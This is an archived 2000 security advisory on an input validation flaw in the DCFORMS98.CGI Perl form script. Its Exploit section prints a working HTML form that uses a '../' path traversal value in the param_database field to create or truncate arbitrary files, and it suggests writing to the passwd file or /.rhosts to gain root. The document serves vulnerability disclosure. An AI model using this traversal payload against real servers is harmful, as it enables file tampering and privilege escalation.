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005.txt

005.txt
Posted Feb 17, 2000
Authored by Suid | Site suid.kg

SUID Advisory #5 - DCFORMS98.CGI Advisory - Anyone can create / truncate any file owned by the web server user.

tags | web, cgi
SHA-256 | 622d24605c915932cd5a7cb660b480ecd49f2adef13453625c046a4da0b01370

005.txt

Change Mirror Download
suid@suid.kg - mini advisory - DCFORMS98.CGI 

Software: DCFORMS98.CGI
Vendor: dcscripts.com
URL: http://www.dcscripts.com/dcforms98.shtml
Version: Version 1.0
Platforms: Unix
Type: Input validation problem

Summary:

Anyone can create / truncate any file owned
by the web server user (nobody/apache/whatever).

Vulnerability:

The perl code does no input validation so reverse directory
transversal is possible when specifying a `param_database`.

Exploit:

Build a HTML form resembling:

<form action=/cgi-bin/dcforms98.cgi method=post>
<INPUT TYPE="hidden" name="param_recipient" value="non@existant">
<INPUT TYPE="hidden" name="param_subject" value="X">
<INPUT TYPE="hidden" name="param_env_report" value="">
<INPUT TYPE="hidden" name="param_order" value="Name">

<!-- This is obviously the problem -->
<INPUT TYPE="hidden" name="param_database"
value="../../../../../../../../../../tmp/xxx">


<INPUT TYPE="hidden" name="param_required" value="Name">
<INPUT TYPE="hidden" name="param_redirect_url" value="">
<input type=hidden name=Name value=blah>
<input type=submit>
</form>

If httpd is running with UID == 0, you could easily get root
by adding to the passwd file or /.rhosts.

Of course you could simply send this in a POST request directly
to the web server. Whatever.

http://www.suid.edu/advisories/005.txt

EOF

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